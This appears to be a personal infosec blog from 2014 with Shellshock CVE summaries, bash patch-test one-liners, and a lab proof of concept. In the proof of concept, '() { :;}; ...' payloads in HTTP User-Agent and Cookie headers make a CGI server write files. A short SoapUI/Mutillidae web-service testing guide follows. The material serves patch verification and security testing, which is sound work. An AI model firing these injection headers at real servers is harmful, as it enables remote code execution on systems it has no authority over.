Infosec Log: 2014

29 Sept 2014

Current Intel on BashBug / Shellshock

CVEs
CVE-2014-6271 (1st bug report)
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271
GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution, aka "ShellShock." NOTE: the original fix for this issue was incorrect; CVE-2014-7169 has been assigned to cover the vulnerability that is still present after the incorrect fix.

CVE-2014-7169 (2nd bug/variant, aka AfterShock)
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-7169
GNU Bash through 4.3 bash43-025 processes trailing strings after certain malformed function definitions in the values of environment variables, which allows remote attackers to write to files or possibly have unknown other impact via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution. NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-6271.

CVE-2014-7186 (3rd bug/variant found by Redhat's Florian Weimer)
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-7186
The redirection implementation in parse.y in GNU Bash through 4.3 bash43-026 allows remote attackers to cause a denial of service (out-of-bounds array access and application crash) or possibly have unspecified other impact via crafted use of here documents, aka the "redir_stack" issue.

CVE-2014-7187 (4th bug/variant found by Redhat's Florian Weimer)
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-7187
Off-by-one error in the read_token_word function in parse.y in GNU Bash through 4.3 bash43-026 allows remote attackers to cause a denial of service (out-of-bounds array access and application crash) or possibly have unspecified other impact via deeply nested for loops, aka the "word_lineno" issue.

CVE-2014-6277 (5th bug/variant found by Google's Michael Zalewski)
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-627
Variant 1. GNU Bash through 4.3 bash43-026 does not properly parse function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code or cause a denial of service (uninitialized memory access, and untrusted-pointer read and write operations) via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution. NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-6271 and CVE-2014-7169.

CVE-2014-6278 (6th bug/variant found by Google's Michael Zalewski)
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6278 (reserved, not available yet)
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6278
Variant 2. (see Variant 1 CVE-2014-6277 for a description)

From SANS Advisory Board: Only the first two listed above are patched in “main stream” linux distros. A source code patch is available for the rest if you want to compile bash yourself, but exploitation is a tad harder for the last 4.

Other Info
GNU Patch Info
List for current bash (4.3): http://ftp.gnu.org/gnu/bash/bash-4.3-patches/
Latest bash patch (027): http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-027

Botnets

Network Detection (IDS, IPS, WAF)

VRT and EmergingThreats posts showing this is being addressed for Snort
...

Exploits

My testing showed it's easy to attack using the given test strings, simply by using them directly in HTTP headers such as Cookie and User-Agent.
See also https://www.fishnetsecurity.com/6labs/blog/shellshock-vulnerability-bash-allows-unauthorized-remote-code-execution

Bash Test Strings
Command line tests to verify proper patching (and to somehow use in our detections):

Early patch: env x='() { :;}; echo Not patched' bash -c "echo This is a test."
Later patch: foo='() { echo Not patched; }' bash -c foo
(search for more...)

25 Sept 2014

Test pour Shellshock/BashBug | POC for ShellShock / BashBug CVE-2014-6271

Ref CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271

I tried real quick in a VM and it's easy to inject via user-agent and cookie headers. I didn't get much result though via a GET parameter though (either via URL-encoding or by just encoding spaces) but I just wanted to prove the point for myself quickly...

Simple CGI Script on a vulnerable server

/usr/lib/cgi-bin$ cat echo.sh
#!/bin/bash
echo -e "Content-type: text/plain\n\n"
echo "hi ya! Is there a file in /tmp as a result of this?";
echo "Output from env:"
env

GET request from attacker

GET /cgi-bin/echo.sh HTTP/1.1
Host: localhost
Content-Length: 0
User-Agent: () { :;}; echo Hacked > /tmp/HackedViaUserAgent
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: () { :;}; echo Hacked > /tmp/HackedViaCookie
Connection: keep-alive

GET response received by attacker

HTTP/1.1 200 OK
Date: Thu, 25 Sep 2014 23:42:53 GMT
Server: Apache/2.2.16 (Debian)
Vary: Accept-Encoding
Content-Length: 1866
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/plain

hi ya! Is there a file in /tmp as a result of this?
Output from env:
[...]
HTTP_USER_AGENT=() { :
}
HTTP_COOKIE=() { :
}
_=/usr/bin/env

Result on attacked server

$ ls /tmp/Hacked*
/tmp/HackedViaCookie /tmp/HackedViaUserAgent

1 May 2014

Getting started in web services testing with SoapUI and Mutillidae

J'ai écrit cet article pour aider quiconque qui désire commencer à utiliser SoapUI pour vérifier la sécurité de services web (SOAP). Pour ce faire, on commence par mettre en place Mutillidae qui contient quelques services à tester. Par la suite, on exécute un test d'injection SQL.

Excusez l'anglais. Je n'ai pas vraiment le temps de le traduire. Mais une image vaut mille mots, n'est-ce pas?
______________

This post is meant to help a security tester with setting up SoapUI and use it against the test web services included in Mutillidae.

Setting up a local test environment with web services

Download Mutillidae from http://sourceforge.net/projects/mutillidae/files/mutillidae-project/
Install the package to a Linux distro with Apache 2.x under /var/www/mutillidae/
Start Apache
Access http://localhost/mutillidae and setup the database by clicking Reset DB or by going there http://localhost/mutillidae/set-up-database.php

Setting up SoapUI

Setup SoapUI and create a test project for Mutillidae and load the various Mutillidae WSDL files and setup the associated test suites for each WSDL:
As a simple test, double click getUserInformation and add username and password values as follows:

Click on the green Submit Request button and wait for the response in the right pane:

Creating a security test

Create a new Security Test:

Optionally, add another specific assertion, as demonstrated below.

Note that adding an XPath assertion for many injection issue testing may not be a good idea. At least, you have to ensure that the assertion will cover all the cases. For example, below, we add an XPath expression to cover the case of a normal request (node count = 1) and the case of an empty result set (node count = 0).